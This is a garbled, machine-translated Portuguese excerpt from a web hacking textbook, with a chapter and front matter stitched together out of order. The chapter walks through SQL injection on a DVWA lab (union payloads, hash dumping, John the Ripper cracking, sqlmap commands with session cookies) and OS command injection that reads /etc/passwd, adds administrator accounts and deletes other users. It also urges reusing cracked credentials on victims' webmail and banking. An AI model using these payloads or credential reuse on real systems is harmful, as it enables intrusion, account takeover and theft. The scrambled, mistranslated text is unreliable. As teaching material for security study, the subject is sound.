de string por causa das aspas aplicadas à</p><p>nossa entrada, então podemos usar a cláusula 1=1 ou 'a'=' a que foi introduzida anteriormente neste capítulo</p><p>para explorar esta vulnerabilidade de injeção de SQL. Aqui está a sintaxe exata para usar a cláusula a=a onde</p><p>as aspas anexadas são usadas no aplicativo. Um deles estará bem no início e o outro bem no final, o que resulta</p><p>em uma consulta balanceada. Digite isso na caixa de texto ID do usuário:.</p><p>sua versão do servidor MySQL para a sintaxe correta para usar perto de ''Rel1k''' na linha 1</p><p>Você tem um erro na sintaxe SQL; verifique o manual que corresponde a</p><p>Rel1k'</p><p>Rel1k' ou 'a'='a</p><p>Machine Translated by Google</p><p>FIGURA 4.2 Resultados iniciais do ataque de injeção SQL.</p><p>Também é sugerido que você se familiarize com a execução de ataques de injeção de SQL por meio de um</p><p>proxy da Web para poder ver as diversas maneiras pelas quais um aplicativo processa a entrada do usuário.</p><p>Nossa última entrada de Rel1k' ou 'a'='a tem uma representação muito diferente uma vez capturada</p><p>Você pode usar o Burp Proxy para executar esse mesmo ataque habilitando a interceptação e revisando a guia de</p><p>parâmetros na guia de interceptação como parte da ferramenta de proxy . Burp Repeater, outra ferramenta do</p><p>Burp Suite, também é um utilitário muito útil para aproveitar durante ataques de injeção, pois permite refinar</p><p>manualmente uma solicitação específica e reenviá-la para o aplicativo. Você pode usar essa funcionalidade para</p><p>fazer alterações muito específicas em sua string aack (como um valor codificado de um único caractere) e reenviá-</p><p>la sem precisar reconstruir completamente a solicitação do zero. É extremamente útil, pois não apenas economiza</p><p>tempo, mas também garante que você altere apenas a parte pretendida da solicitação.</p><p>Embora a maioria dos resultados sejam apenas o nome e o sobrenome (sobrenome) de cada usuário, o</p><p>primeiro resultado mostra admin tanto para o nome quanto para o sobrenome. Podemos ter certeza de que este é</p><p>o nome de usuário do administrador do aplicativo da web, mas precisamos ter certeza antes de tentar ignorar a</p><p>autenticação.</p><p>por Burp Intercept conforme mostrado na Figura 4.3.</p><p>Machine Translated by Google</p><p>Enviar=Enviar#</p><p>http://127.0.0.1/vulnerabilities/sqli/?id=Rel1k%27+or+%27a%27%3D%27a&</p><p>FIGURA 4.3 Ataque inicial de injeção de SQL capturado no Burp Proxy.</p><p>Você pode usar o formulário HTML real na página de injeção SQL no DVWA ou a guia t</p><p>params no Burp Intercept para conduzir o restante das etapas. Se você optar por usar o proxy,</p><p>lembre-se de que terá que codificar sua entrada de acordo. A ferramenta Encoder no Burp Suite</p><p>fornece funcionalidade de codificação e decodificação para vários esquemas de codificação;</p><p>esta é uma ferramenta que você utilizará muito no seu dia a dia. Para começar, é recomendável</p><p>usar o formulário HTML para aprender como os caracteres inseridos no formulário são</p><p>codificados pelo aplicativo. Após algumas injeções, você só poderá usar a guia de parâmetros .</p><p>Extraindo informações adicionais Agora que</p><p>controlamos a consulta por meio dessa vulnerabilidade de injeção de SQL, precisamos extrair</p><p>informações úteis. Nosso objetivo final é ignorar a autenticação tradicional de nome de usuário</p><p>e senha e fazer login como administrador. Existem várias injeções que precisamos realizar em</p><p>um processo gradual para obter o nome de usuário e a senha do</p><p>Obviamente, o Rel1k e os dois valores a únicos que inserimos ainda são caracteres de string.</p><p>% 27 é a versão codificada em URL da aspa simples e %3D é o sinal de igual. Os sinais de mais</p><p>são uma forma pela qual o navegador codifica um espaço literal; muitas vezes você verá um</p><p>URL de espaço codificado como%20. Todas essas medidas existem para que a entrada do</p><p>usuário possa ser utilizada na URL da aplicação a ser passada ao servidor para processamento.</p><p>Um espaço literal não é permitido em nenhum lugar da URL (incluindo quaisquer valores de</p><p>parâmetro na string de consulta), pois isso quebraria o formato de solicitação aceitável suportado</p><p>pelo protocolo HTTP. Depois de encaminhar a solicitação para o aplicativo e os resultados</p><p>serem renderizados, você verá esses valores de parâmetro codificados na URL do DVWA.</p><p>Observe os valores do parâmetro id quando ele é capturado na ferramenta de interceptação.</p><p>A string que inserimos agora é representada por uma mistura de caracteres de string</p><p>identificáveis, alguns valores codificados em URL e alguma codificação adicional executada pelo navegador.</p><p>Machine Translated by Google</p><p>http://127.0.0.1/vulnerabilities/sqli/?id%3DRel1k%27%2Bor%2B%27a%27%3D%27a%26Submit%3DSubmit%23</p><p>recuperar dados confidenciais, mas aqui estão alguns que vão direto ao assunto.</p><p>Todos eles fazem uso da instrução SQLunion , que permite a execução de uma consulta adicional. Pense</p><p>nisso como pegar carona em uma consulta em outra. Isso é necessário porque a consulta vulnerável à injeção de</p><p>SQL só é capaz de extrair informações versáteis de nome e sobrenome. Precisamos de uma consulta mais</p><p>poderosa para executar, a fim de explorar ainda mais o aplicativo da web e recuperar dados confidenciais. Para</p><p>que a união funcione, o número total e os tipos de dados das colunas nas duas consultas</p><p>devem corresponder.</p><p>Já sabemos que a consulta vulnerável retorna duas colunas de string (nome e sobrenome), portanto, nossa</p><p>consulta sobreposta também deve retornar apenas duas colunas de string. Estaremos usando um tipo de dados</p><p>nulo na primeira coluna porque os tipos de dados nulos podem ser convertidos como qualquer outro tipo de</p><p>dados. Em seguida, usaremos a segunda coluna (sobrenome) como espaço reservado para nossa consulta nas</p><p>costas. Podemos contornar ainda mais essa limitação de duas colunas em ataques posteriores de injeção de</p><p>SQL usando concatenação (junção) de várias colunas na coluna de sobrenome usando a função concat como</p><p>parte de nosso ataque. Isso nos permitirá recuperar informações ainda mais confidenciais do banco de dados!</p><p>1. Descubra o nome do banco de</p><p>dados 2. Descubra os nomes das tabelas no banco de dados que escolhemos</p><p>como alvo 3. Descubra os nomes das colunas na tabela que escolhemos como</p><p>alvo 4. Recuperar dados das colunas que escolhemos como alvo</p><p>Existem várias funções de banco de dados existentes que podemos chamar através desta vulnerabilidade para</p><p>administrador.</p><p>Para recuperar o nome do banco de dados:</p><p>Os resultados de todas essas consultas de união incluirão todos os resultados de nome e sobrenome e os</p><p>resultados de união serão a última linha de resultados, conforme indicado abaixo, onde recuperamos dvwa como</p><p>o nome do banco de dados, conforme mostrado na Figura 4.4 .</p><p>Rel1k' ou 1=1 união selecione nulo, banco de dados() #</p><p>Machine Translated by Google</p><p>FIGURA 4.5 Resultados da injeção acessando o esquema de informações.</p><p>FIGURA 4.4 Resultados da injeção da função database().</p><p>Tabela 4.2</p><p>Para recuperar todos os nomes de tabelas:</p><p>Rel1k' e 1=1 union select null, table_name from information_schema.tables # O esquema de informações é a</p><p>coleção de dados sobre todos os bancos de dados (metadados) que são hospedados pelo sistema de</p><p>gerenciamento de banco de dados, conforme mostrado em Figura 4.5. Como estamos tentando ignorar a</p><p>autenticação, a tabela de usuários parece uma pepita valiosa!</p><p>A Tabela 4.2 apresenta as tabelas de metadados comuns para muitos bancos de dados populares que são um</p><p>ótimo lugar para extrair dados significativos.</p><p>Machine Translated by Google</p><p>FIGURA 4.6 Resultados da injeção acessando o esquema de informações da tabela “usuários”.</p><p>As seis colunas na tabela de usuários armazenam user_id, first_name, last_name, user, password,</p><p>e avatar. Obviamente, estamos mais interessados nas colunas de usuário e senha .</p><p>Para recuperar os nomes das colunas usadas na tabela de usuários :</p><p>Rel1k' e 1=1 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where</p><p>table_name = 'users' # Porque estamos usando a segunda coluna como destino</p><p>da nossa injeção, todos os resultados dignos serão exibidos nessa coluna. Isso significa que a primeira coluna dos</p><p>resultados da consulta (nome) sempre estará em branco porque estamos injetando um nulo nessa coluna. A segunda</p><p>coluna na coluna de resultados da consulta (sobrenome) terá os resultados concatenados (usando a função SQL</p><p>concat ) do nome da tabela de usuários, uma nova linha (o 0x0a em nossa injeção) e o nome real da coluna da tabela</p><p>de usuários , conforme mostrado na Figura 4.6.</p><p>Tabelas de metadados para bancos de dados populares</p><p>sysobjects ou INFORMATION_SCHEMA</p><p>Oráculo todos_user_objects</p><p>PostgreSQL INFORMATION_SCHEMA</p><p>esquema_de_informações</p><p>MS-SQL</p><p>MySQL</p><p>Tabela de metadados do banco de dados</p><p>Machine Translated by Google</p><p>FIGURA 4.7 Resultados da recuperação de nomes de usuário e senhas da tabela “usuários”.</p><p>Um lert</p><p>Hash-ID é um ótimo utilitário que ajudará a identificar mais de 50 tipos de hash se você não tiver</p><p>certeza do formato. É uma ferramenta Python que pode ser baixada em http://code.google.com/p/</p><p>hash-identifier/ e executada em um terminal BackTrack com o comando Python ./Hash_ID_v1.1.py.</p><p>Certifique-se de anotar qual versão você está usando para executar o comando corretamente!</p><p>A partir daqui, precisamos colocar os nomes de usuário e as senhas em um formato que possa ser usado por um</p><p>cracker de senha offline. Um cracker de senha offline é uma ferramenta que tenta descobrir senhas em texto</p><p>simples a partir de valores de hash de senha criptografados (MD5, neste caso) sem interagir com o aplicativo. Por</p><p>outro lado, um cracker de senha online é uma ferramenta que envia diversas tentativas de login ao aplicativo em</p><p>busca de uma combinação válida para</p><p>Um hash MD5 é fácil de identificar porque é um número hexadecimal de 32 caracteres, portanto, usou apenas 0-9 e</p><p>AF.</p><p>Coletando hashes de senha Para recuperar o conteúdo</p><p>das colunas de usuário e senha : Rel1k' e 1=1 union selecione null,</p><p>concat(user,0x0a,password) dos usuários # JACKPOT! São estes os valores que temos trabalhado para conseguir!</p><p>Agora temos o nome de usuário e a senha de cada usuário do banco de dados, conforme mostrado na Figura 4.7. Se você</p><p>não está familiarizado com o formato das senhas, isso é hash MD5 – muito fácil de decifrar!</p><p>Machine Translated by Google</p><p>FIGURA 4.8 Arquivo de entrada de João, o Estripador, criado no gedit.</p><p>Estaremos usando João, o Estripador (JtR) ou simplesmente João , como é frequentemente chamado. Usar</p><p>John é um processo muito simples. Precisamos apenas copiar e colar os nomes de usuário e senhas em um</p><p>arquivo de texto no formato apropriado, inseri-lo no cracker de senha e aguardar que seja feita uma</p><p>correspondência que revele a senha em texto simples para cada um dos nomes de usuário. Depois que uma</p><p>combinação válida for descoberta, podemos usar essas credenciais para autenticar no aplicativo da web. O</p><p>formato para John é simplesmente um arquivo de texto com o hash do nome de usuário e da senha separados</p><p>por dois pontos, com um definido em cada linha.</p><p>Salve este arquivo como dvwa_pw.txt no diretório /pentest/ passwords/ john para que fique no mesmo</p><p>diretório do cracker de senha. Isso não é obrigatório, mas tornará a alimentação do arquivo de entrada para o</p><p>cracker de senha muito mais limpa na próxima etapa. Depois de salvar esse arquivo de entrada com sucesso,</p><p>você pode fechar o gedit e iniciar um novo terminal para que possamos começar a quebrar essas senhas.</p><p>Para criar este arquivo, abra o gedit no menu Acessórios em Aplicativos no BackTrack. Assim que tiver um</p><p>novo arquivo, você precisa copiar e colar cada uma das cinco combinações de nome de usuário e senha no</p><p>formato correto, conforme mostrado na Figura 4.8.</p><p>autenticar com.</p><p>Quebra de senha offline Em um novo terminal,</p><p>navegue até o diretório John executando o comando cd /pentest/passwords/john . Para executar o cracker</p><p>de senha no arquivo de entrada que criamos, execute o seguinte comando.</p><p>./john --format=raw-MD5 dvwa_pw.txt --show O sinalizador</p><p>--format especifica que tipo de hashes de senha estão no arquivo de entrada e o sinalizador --show exibirá</p><p>os nomes de usuário e senhas que foram quebrados</p><p>de forma confiável. A saída deste comando é exibida</p><p>abaixo no mesmo formato nome de usuário:senha que usamos no arquivo de entrada. Como esperado, todas</p><p>as cinco senhas foram quebradas com sucesso.</p><p>admin:senha</p><p>gordonb:abc123</p><p>Machine Translated by Google</p><p>Ele também está incluído na instalação padrão do BackTrack no diretório /pentest/ database/ sqlmap . O sqlmap</p><p>automatiza o processo de detecção e exploração de falhas de injeção de SQL e possui um mecanismo de detecção</p><p>integrado e inúmeras opções que permitem a execução de uma ampla gama de ataques contra a aplicação web.</p><p>Na verdade, você pode concluir todos os ataques de injeção SQL que concluímos na seção acima usando</p><p>sqlmap e seus sinalizadores disponíveis; alguns dos sinalizadores mais úteis incluem: ÿ -u para especificar o URL</p><p>de destino</p><p>da página vulnerável. ÿ --cookie para especificar um cookie de</p><p>sessão válido a ser transmitido ao aplicativo durante o</p><p>sqlmap Uma</p><p>ferramenta de linha de comando de injeção SQL realmente útil é o sqlmap, que foi criado por Bernardo Damele e</p><p>Miroslav Stampar e pode ser baixado em http://sqlmap.org.</p><p>Com essas credenciais, agora você pode fazer login no DVWA como qualquer um desses usuários. Vá em</p><p>frente e experimente! O usuário atualmente conectado ao DVWA é exibido no canto inferior esquerdo da tela</p><p>quando você faz login com sucesso. Outro uso potencial dessas credenciais recém-descobertas é que agora você</p><p>pode usar esses nomes de usuário e senhas em outros lugares. Por exemplo, é comum que um usuário tenha o</p><p>mesmo nome de usuário e senha para um aplicativo da web que usa para webmail, serviços bancários on-line e</p><p>redes sociais. É sempre uma boa ideia tentar essas credenciais para tentar se autenticar em qualquer serviço que</p><p>você esteja em execução.</p><p>ÿ -b para recuperar o banner do banco de dados.</p><p>ÿ --current-db para recuperar o banco de dados atual do sistema de gerenciamento de banco de dados (DBMS).</p><p>ÿ --current-user para recuperar o usuário atual do DBMS.</p><p>ÿ --string para fornecer um valor de string que esteja sempre presente para ajudar a identificar falsos positivos.</p><p>ÿ --users para recuperar os usuários do sistema de gerenciamento de banco</p><p>de dados. ÿ --password para recuperar os hashes de senha de gerenciamento de banco de dados para</p><p>usuários do sistema. ÿ -U para especificar qual usuário de gerenciamento de banco de dados</p><p>incluir no ataque. ÿ --privileges para recuperar os privilégios do</p><p>usuário selecionado. ÿ --dbs para recuperar os nomes de todos os bancos de dados no</p><p>servidor de banco de dados. ÿ -D para especificar</p><p>qual banco de dados será alvo. ÿ --tables para recuperar todas as</p><p>tabelas no banco de dados de destino. ÿ -T</p><p>para especificar qual tabela será alvo. ÿ --columns para recuperar todas</p><p>as colunas da tabela de destino. ÿ -C para especificar</p><p>quais colunas serão recuperadas. ÿ --dump para recuperar o conteúdo das colunas de destino.</p><p>Os dois valores de parâmetro que precisamos, além de usar esses sinalizadores, são o URL exato da página</p><p>vulnerável e um valor válido de identificador de sessão (cookie). Podemos recuperar facilmente esses valores da</p><p>guia bruta no Burp Intercept. Embora o URL seja o mesmo</p><p>ataque.</p><p>1337:charley</p><p>pablo:letmein</p><p>smithy:senha</p><p>Machine Translated by Google</p><p>FIGURA 4.9 Solicitação bruta de página SQL injetável em DVWA.</p><p>Você pode executar o sqlmap em nossa página vulnerável executando o seguinte comando para recuperar o nome do banco</p><p>de dados. Selecione y quando for solicitado testes adicionais. ./sqlmap.py -u "http://127.0.0.1/vulnerabilities/sqli/?</p><p>id=1&Submit=Submit" --cookie="PHPSESSID=10tlrk8vql4s8kkqacneo55fq7; segurança=baixo" -b -- banco de dados atual</p><p>Os resultados, como esperado, refletem o que encontramos quando executamos a injeção SQL</p><p>anteriormente, conforme mostrado na Figura 4.10. Quando solicitado a encontrar mais parâmetros adicionais,</p><p>certifique-se de selecionar não.</p><p>Existem dois parâmetros no cabeçalho Cookie (PHPSESSID e segurança), e precisaremos usar ambos os</p><p>valores no sqlmap. Também precisamos coletar o URL do cabeçalhoReferrer . Para garantir que você não</p><p>perca o controle desses valores, abra um arquivo newgedit para copiar e colar esses valores, pois usaremos</p><p>os valores do cookie com o sinalizador --cookie e o valor da URL com o sinalizador-u no sqlmap. Para abrir o</p><p>sqlmap, navegue até o diretório apropriado executando o comando cd /pentest/database/sqlmap .</p><p>para cada usuário, o identificador de sessão usado será diferente, portanto, anote seus valores exatos.</p><p>Certifique-se de que seu proxy esteja configurado para capturar solicitações e navegar de volta para a página</p><p>SQL Injection no DVWA. Depois de inserir qualquer valor (2 em nosso exemplo) para o ID do usuário, os</p><p>valores necessários para executar o SQLMap serão exibidos na guia bruta , conforme mostrado na Figura 4.9.</p><p>Machine Translated by Google</p><p>http://127.0.0.1/vulnerabilities/sqli/?id%3D1%26Submit%3DSubmit</p><p>Para recuperar as colunas da tabela de usuários no banco de dados dvwa , conforme mostrado na Figura 4.12,</p><p>execute o seguinte comando.</p><p>Para recuperar todos os usuários do banco de dados e senhas quebradas, conforme mostrado na Figura 4.13,</p><p>Para recuperar todas as tabelas do banco de dados dvwa , conforme mostrado na Figura 4.11, execute o</p><p>seguinte comando.</p><p>execute o seguinte comando.</p><p>FIGURA 4.11 Resultados sqlmap para tabelas no banco de dados “dvwa”.</p><p>FIGURA 4.10 Resultados do sqlmap para banner e nome do banco de dados.</p><p>FIGURA 4.12 Resultados sqlmap para colunas na tabela “users” no banco de dados “dvwa”.</p><p>./sqlmap.py -u "http://127.0.0.1/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie="PHPSESSID=10tlrk8vql4s8kkqacneo55fq7; segurança=low" -D dvwa</p><p>-T usuários --colunas</p><p>./sqlmap.py -u "http://127.0.0.1/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie="PHPSESSID=10tlrk8vql4s8kkqacneo55fq7; segurança=baixa" -D dvwa</p><p>-tables</p><p>Machine Translated by Google</p><p>http://127.0.0.1/vulnerabilities/sqli/?id%3D2%26Submit%3DSubmit</p><p>http://127.0.0.1/vulnerabilities/sqli/?id%3D2%26Submit%3DSubmit</p><p>-C senha, usuários, user_id --dump</p><p>./sqlmap.py -u "http://127.0.0.1/vulnerabilities/sqli/?id=2&Submit=Submit" --cookie="PHPSESSID=10tlrk8vql4s8kkqacneo55fq7;</p><p>segurança=baixa" -D dvwa -T usuários</p><p>./sqlmap.py -u "http://127.0.0.1/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie = "PHPSESSID =</p><p>10tlrk8vql4s8kkqacneo55fq7; segurança = baixo" -b -- banco de dados atual -D dvwa --tabelas -T usuários --colunas -C usuário,</p><p>senha -- dump</p><p>FIGURA 4.13 Resultados do sqlmap para quebra de senha para todos os nomes de usuário no banco de dados “dvwa”.</p><p>Vulnerabilidades de injeção de comando do sistema operacional Outro vetor de ataque que faz</p><p>parte da injeção é a injeção de comando do sistema operacional.</p><p>3. Usar uma ferramenta de exploração automatizada, como o sqlmap, para conduzir explorações SQL.</p><p>2. Usando um proxy de interceptação para editar o valor dos parâmetros que estão sendo passados para</p><p>o interpretador SQL.</p><p>As três abordagens que acabamos de introduzir</p><p>para explorar vulnerabilidades de injeção de SQL serão muito</p><p>úteis no futuro, à medida que você descobrir e quiser explorar vulnerabilidades de injeção de SQL.</p><p>1. Usar mensagens de erro detalhadas para obter informações maliciosas a serem inseridas diretamente no</p><p>formulário HTML do aplicativo da web.</p><p>A mesma exploração que exigia duas ferramentas diferentes e seis comandos exigia apenas quatro comandos</p><p>no sqlmap. Na verdade, você pode combinar todos os sinalizadores sqlmap em um comando e fazer todo esse</p><p>trabalho de uma vez!</p><p>Um</p><p>alerta Quando solicitado, você deseja que o sqlmap considere as colunas fornecidas: selecione</p><p>2 para obter os nomes exatos das colunas e aceitar o dicionário padrão a ser usado para o ataque.</p><p>Isso ocorre quando um hacker é capaz de ditar quais comandos de nível de sistema (geralmente bash no Linux ou</p><p>cmd.exe no Windows) são executados no servidor web. Na maioria dos casos, um hacker</p><p>Machine Translated by Google</p><p>http://127.0.0.1/vulnerabilities/sqli/?id%3D2%26Submit%3DSubmit</p><p>http://127.0.0.1/vulnerabilities/sqli/?id%3D1%26Submit%3DSubmit</p><p>Injeção de comando de sistema operacional para hackers Depois</p><p>que uma vulnerabilidade de injeção de comando do sistema operacional for encontrada por um hacker, há alguns</p><p>comandos comuns que têm maior probabilidade de serem executados. Na verdade, tudo se resume às intenções</p><p>do hacker, mas tenha certeza de que o acesso persistente ao sistema é o ataque mais comum, como: ÿ Adicionar</p><p>um usuário ÿ Adicionar um usuário a um grupo</p><p>(provavelmente</p><p>grupo de administrador) ÿ Excluir um usuário (o administrador do sistema</p><p>existente ou outras contas semelhantes)</p><p>Em um ambiente Linux, você pode usar o comando useradd halverto para adicionar um novo usuário</p><p>chamado halverto e, em seguida, emitir o comando passwd halverto para definir uma senha inicial para esse</p><p>usuário. Depois de ter um usuário no servidor web, você precisa descobrir quais grupos estão disponíveis</p><p>emitindo o comando getent group . Supondo que haja um grupo de administradores , você pode adicionar seu</p><p>usuário halverto ao grupo emitindo o comando usermod -G admin halverto . Depois de adicionar sua conta</p><p>como administrador, você poderá ver todos os outros usuários no grupo admin emitindo o comando getent group</p><p>admin . Você pode então excluir quaisquer outras contas que desejar (pengebretson neste exemplo) emitindo o</p><p>comando userdel pengebretson . Você poderia emitir esta série de comandos para adicionar um novo usuário,</p><p>remover todas as outras contas e fazer alterações na conta root do servidor web.</p><p>Outro ataque comum com injeção de comando O/S é extrair o máximo possível de dados do sistema, como</p><p>informações do usuário, arquivos confidenciais do usuário e configurações do sistema. O outro aspecto importante</p><p>deste aack de injeção de comando a ser realizado é que você executa comandos no nível de acesso especificado</p><p>do aplicativo da web. Portanto, se o aplicativo da web estiver sendo executado como root ou administrador, seus</p><p>comandos injetados serão executados com acesso de nível superior – uma grande vitória! No entanto, isso é</p><p>menos provável do que costumava ser. É muito mais comum encontrar aplicativos da web rodando em um nível</p><p>de privilégio mais baixo, como SYSTEM no Windows, então você deve usar este aack para baixar o código-fonte</p><p>e recuperar o máximo possível de arquivos confidenciais do servidor da web.</p><p>anexará um comando de sistema malicioso a um comando existente fornecido pelo aplicativo da web. Por</p><p>exemplo, se uma aplicação web permitir que um hacker procure seu próprio endereço IP ou nome de domínio</p><p>passando um parâmetro sob seu controle, ele anexará um comando para adicionar outro usuário ao sistema. Se</p><p>o aplicativo da web estiver vulnerável, ambos os comandos serão executados com êxito.</p><p>Em um ambiente Windows, você pode emitir o comandonet user /add halverto trojansEH100 para adicionar</p><p>um usuário chamado halverto com uma senha inicial de trojansEH100. Você pode então adicionar esse usuário</p><p>ao grupo de administradores emitindo o comando net localgroup administradores halverto /add e excluir</p><p>outros usuários (pengebretson novamente neste exemplo) emitindo o comando net user pengebretson /delete .</p><p>Esse punhado de comandos colocaria você no controle total da máquina Windows.</p><p>Nos casos em que você não está executando como administrador de nível superior (root no Linux ou SYSTEM</p><p>no Windows), você ainda pode emitir comandos úteis, comoid para recuperar seu nível de privilégio ou visualizar</p><p>o arquivo passwd para descobrir sobre outros usuários com o gato</p><p>Machine Translated by Google</p><p>Ataques de injeção de comando do sistema operacional</p><p>As três respostas a este comando ping do localhost são exibidas mostrando a execução bem-sucedida do</p><p>comando. Como hacker, você pode anexar comandos adicionais do Linux usando ponto e vírgula. Em vez de</p><p>simplesmente fornecer o endereço IP 127.0.0.1 para executar ping, você também pode anexar comandos</p><p>adicionais do sistema, como 127.0.0.1; ls para listar o conteúdo do diretório atual, conforme mostrado na</p><p>Figura 4.15.</p><p>Comando /etc/passwd .</p><p>Há um exercício chamado Execução de Comando no menu do lado esquerdo do DVWA que permite praticar</p><p>esse aack de injeção de comando do sistema operacional. A funcionalidade integrada fornecida pelo aplicativo</p><p>da web é fazer ping em um endereço IP. A entrada do usuário é passada ao sistema para executar o comando</p><p>ping sem qualquer validação ou escape do shell. Os resultados desse ping são repassados à aplicação web</p><p>para serem exibidos no navegador do usuário, conforme mostrado na Figura 4.14.</p><p>FIGURA 4.14 Executando um comando ping em localhost.</p><p>Machine Translated by Google</p><p>O comando shell executado é simplesmente 127.0.0.1 seguido por um comando ls .</p><p>Você pode ver que os resultados do comando ls são anexados diretamente após os</p><p>resultados do comando ping . O aplicativo da web aceitou a entrada do usuário que incluía</p><p>dois comandos de sistema separados, executou ambos e exibiu os resultados de ambos</p><p>os comandos de volta ao usuário. Como hacker, você agora controla o servidor web que</p><p>hospeda este aplicativo web porque pode executar comandos do sistema nele! Você pode</p><p>recuperar arquivos confidenciais do sistema, como o arquivo de senha de todos os</p><p>usuários, emitindo 127.0.0.1; comando cat /etc/passwd , conforme mostrado na Figura 4.16.</p><p>FIGURA 4.15 Anexando um comando ls a um comando ping .</p><p>FIGURA 4.16 Anexando um comando cat a um comando ping para revisar o arquivo de senha do sistema.</p><p>Machine Translated by Google</p><p>Conchas da Web</p><p>Outra área que você desejará investigar ao encontrar uma vulnerabilidade de injeção de comando no sistema</p><p>operacional é usar um shell interativo. Há muitas maneiras de fazer isso, mas a mais comum é aproveitar o netcat</p><p>tanto na sua máquina como ouvinte quanto na máquina vítima como o shell que se conectará de volta à sua</p><p>máquina.</p><p>Você pode configurar o</p><p>de um banco de dados, ignorar a página de login e assumir a</p><p>identidade de outros usuários. Você aprenderá como selecionar um alvo, como realizar um ataque, quais</p><p>ferramentas são necessárias e como usá-las, e como se proteger contra esses ataques.</p><p>Este livro foi elaborado para ensinar a você os fundamentos do hacking na web desde o início.</p><p>Este livro ensinará como hackear aplicativos da web e o que você pode fazer para evitar esses ataques.</p><p>Ele irá orientá-lo na teoria, nas ferramentas e nas técnicas usadas para identificar e explorar as</p><p>vulnerabilidades da Web mais prejudiciais presentes nos aplicativos da Web atuais.</p><p>Muitos de nós confiamos em aplicativos da web para muitas de nossas tarefas diárias, seja no trabalho,</p><p>em casa ou no lazer, e os acessamos várias vezes ao dia em nossos laptops, tablets, telefones e outros</p><p>dispositivos. Usamos esses aplicativos da web para fazer compras, transações bancárias, pagar contas,</p><p>realizar reuniões on-line, interagir em redes sociais com amigos e familiares e inúmeras outras tarefas. O</p><p>problema é que os aplicativos da web não são tão seguros quanto gostaríamos de pensar e, na maioria</p><p>das vezes, os ataques usados para obter acesso a um aplicativo da web são relativamente diretos e</p><p>simples. Na verdade, qualquer pessoa pode usar ferramentas de hacking amplamente disponíveis para</p><p>realizar esses devastadores ataques na web.</p><p>É para aqueles que estão interessados em começar a hackear a web, mas não encontraram um bom</p><p>recurso. Basicamente, se você é um novato em hackers na web, este livro é para você! Este livro pressupõe</p><p>que você não tenha nenhum conhecimento prévio relacionado a hackers na web. Talvez você tenha</p><p>mexido em algumas das ferramentas, mas não entende completamente como ou onde elas se encaixam</p><p>no quadro geral do hacking na web.</p><p>Os principais especialistas em hackers na web têm um domínio sólido sobre programação, criptografia,</p><p>caça a bugs, desenvolvimento de exploração, layout de banco de dados, extração de dados, como</p><p>funciona o tráfego de rede e muito mais. Se você não possui essas habilidades, não desanime! Esses</p><p>conhecimentos e habilidades são acumulados ao longo de uma carreira e, se você está apenas começando</p><p>a hackear a web, provavelmente não terá todas essas habilidades. Este livro ensinará a teoria, as</p><p>ferramentas e as técnicas por trás de alguns dos ataques mais prejudiciais da Web presentes em</p><p>aplicativos da Web modernos. Você ganhará não apenas conhecimento e habilidade, mas também</p><p>confiança para fazer a transição para hackers na web ainda mais complexos no futuro.</p><p>Introdução</p><p>Uma abordagem prática</p><p>Sobre este livro</p><p>Machine Translated by Google</p><p>O que há neste livro?</p><p>Capítulo 1: Noções básicas de hacking na Web fornece uma visão geral da web atual</p><p>vulnerabilidades e como nossa abordagem prática as aborda.</p><p>Capítulo 2: Hacking de Servidor Web utiliza metodologias tradicionais de hacking de rede e as aplica</p><p>diretamente ao servidor Web, não apenas para comprometer essas máquinas, mas também para fornecer uma</p><p>base de conhecimento para usar em ataques contra aplicativos e usuários da Web. As ferramentas incluem</p><p>Nmap, Nessus, Nikto e Metasploit.</p><p>Capítulo 3: Reconhecimento e verificação de aplicativos da Web apresenta ferramentas, como proxies da</p><p>Web e ferramentas de verificação, que preparam o cenário para você explorar o aplicativo da Web de destino,</p><p>encontrando vulnerabilidades existentes. As ferramentas incluem Burp Suite (Spider e Intercept) e Ze Attack</p><p>Proxy (ZAP).</p><p>Nossa abordagem ao hacking web tem três alvos específicos: o servidor web, a aplicação web e o usuário web. Todos esses alvos</p><p>apresentam vulnerabilidades diferentes, por isso precisamos usar ferramentas e técnicas diferentes para explorar cada um deles. É</p><p>exatamente isso que este livro fará; cada capítulo apresentará diferentes ataques que exploram as vulnerabilidades desses alvos.</p><p>Cada capítulo cobre o seguinte material:</p><p>Cada capítulo terá conhecimento básico para que você saiba o porquê do ataque e instruções passo a passo</p><p>detalhadas para que você saiba como do ataque.</p><p>Este livro segue uma abordagem muito prática para apresentar e demonstrar o conteúdo.</p><p>Capítulo 4: Exploração de aplicações web com injeção cobre a teoria, as ferramentas e as técnicas usadas</p><p>para explorar aplicações web com injeção de SQL, injeção de comando do sistema operacional e shells da</p><p>web. As ferramentas incluem Burp Suite (especificamente as funções e recursos das ferramentas Proxy</p><p>Intercept e Repeater), sqlmap, John the Ripper (arquivos de shell da web personalizados J tR e netcat.</p><p>Capítulo 5: Exploração de aplicativos da Web com autenticação quebrada e passagem de caminho cobre a</p><p>teoria, as ferramentas e as técnicas usadas para explorar aplicativos da Web com logins de força bruta, ataques</p><p>de sessão e navegação forçada. As ferramentas incluem Burp Suite (I ntruder e Sequencer) e vários comandos</p><p>do sistema operacional para fins nefastos.</p><p>Capítulo 6: Web User Hacking cobre a teoria, ferramentas e técnicas usadas para explorar outros usuários</p><p>da web, explorando vulnerabilidades de cross-site scripting (XSS) e cross-site request forgery (CSRF), bem</p><p>como aacks que não exigem web existente. vulnerabilidades de servidores ou aplicativos da web, mas, em vez</p><p>disso, atacam diretamente a disposição do usuário de realizar ações perigosas. A principal ferramenta</p><p>escolhida será o Social-Engineer Toolkit (SET).</p><p>Capítulo 7: Correções aborda as melhores práticas disponíveis atualmente para evitar todos os ataques</p><p>apresentados no livro. Como a maioria das coisas relacionadas à segurança, a parte difícil não é identificar</p><p>essas estratégias de mitigação, mas sim como melhor implementar e testar se elas estão fazendo o que devem</p><p>fazer.</p><p>Capítulo 8: Próximas etapas apresenta onde você pode ir depois de terminar este livro para</p><p>Machine Translated by Google</p><p>Uma isenção de responsabilidade rápida</p><p>Pense antes de hackear.</p><p>Não faça coisas maliciosas.</p><p>O objetivo deste livro é ensiná-lo a penetrar em servidores web, aplicativos web e usuários web; proteger</p><p>contra ataques comuns; e geralmente melhore sua compreensão do que é segurança de aplicativos da web.</p><p>Num mundo perfeito, ninguém usaria as ferramentas e técnicas discutidas neste livro de maneira antiética.</p><p>Mas como esse não é o caso, tenha em mente o seguinte ao ler:</p><p>continue em sua jornada de hacking. Existem muitos grupos e eventos excelentes de segurança da 